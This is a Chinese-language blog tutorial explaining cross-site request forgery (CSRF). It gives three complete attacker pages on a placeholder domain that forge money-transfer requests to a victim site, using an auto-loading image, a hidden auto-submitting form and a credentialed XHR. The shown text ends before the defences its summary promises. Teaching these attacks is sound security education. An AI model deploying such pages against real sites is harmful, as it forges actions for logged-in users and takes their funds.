什么是CSRF

本文作者: jsweibo

本文链接: https://jsweibo.github.io/2020/02/21/%E4%BB%80%E4%B9%88%E6%98%AFCSRF/

摘要

本文主要讲述了：

什么是 CSRF
根本矛盾
防御措施

正文

什么是 CSRF

Cross-site request forgery（跨站请求伪造），简称为 CSRF。由于 Cross 在英语中也有交叉的意思，因此人们用 X 来取代 C，有时也将其简称为 XSRF。

示例：

a.example.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <script>
      document.cookie = 'userId=123';
    </script>
  </body>
</html>

a.foo.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <img src="//a.example.com/transferMoney?to=jsweibo&amount=1000" />
  </body>
</html>

用户首先登录a.example.com，而后访问a.foo.com。此时网页会自动发送请求。由于a.example.com的 cookie 已存在于浏览器中，此时访问a.example.com/transferMoney?to=jsweibo&amount=1000会自动带上a.example.com的 cookie。而后用户在a.example.com的资金被盗。

示例：

a.example.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <script>
      document.cookie = 'userId=123';
    </script>
  </body>
</html>

a.foo.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <iframe name="foo" hidden></iframe>
    <form
      id="bar"
      method="POST"
      action="//a.example.com/transferMoney"
      target="foo"
    >
      <input type="hidden" name="to" value="jsweibo" />
      <input type="hidden" name="amount" value="1000" />
    </form>
    <script>
      document.querySelector('#bar').submit();
    </script>
  </body>
</html>

用户首先登录a.example.com，而后访问a.foo.com。此时网页会自动提交表单。由于a.example.com的 cookie 已存在于浏览器中，此时访问a.example.com/transferMoney会自动带上a.example.com的 cookie。而后用户在a.example.com的资金被盗。

示例：

a.example.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <script>
      document.cookie = 'userId=123';
    </script>
  </body>
</html>

a.foo.com

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <script>
      let xhr = new XMLHttpRequest();
      xhr.withCredentials = true;
      xhr.open('POST', '//a.example.com/transferMoney');
      xhr.send('to=jsweibo&amout=1000');
    </script>
  </body>
</html>

用户首先登录a.example.com，而后访问a.foo.com。此时网页会自动发送 Ajax 请求（此请求属于简单请求，浏览器端会正常发出，服务器端能够接受并响应，但浏览器端的 JavaScript 无法得到响应消息）。由于a.example.com的 cookie 已存在于浏览器中，且withCredentials为true，故此时访问a.example.com/transferMoney会自动带上a.example.com的 cookie。而后用户在a.example.com的资金被盗。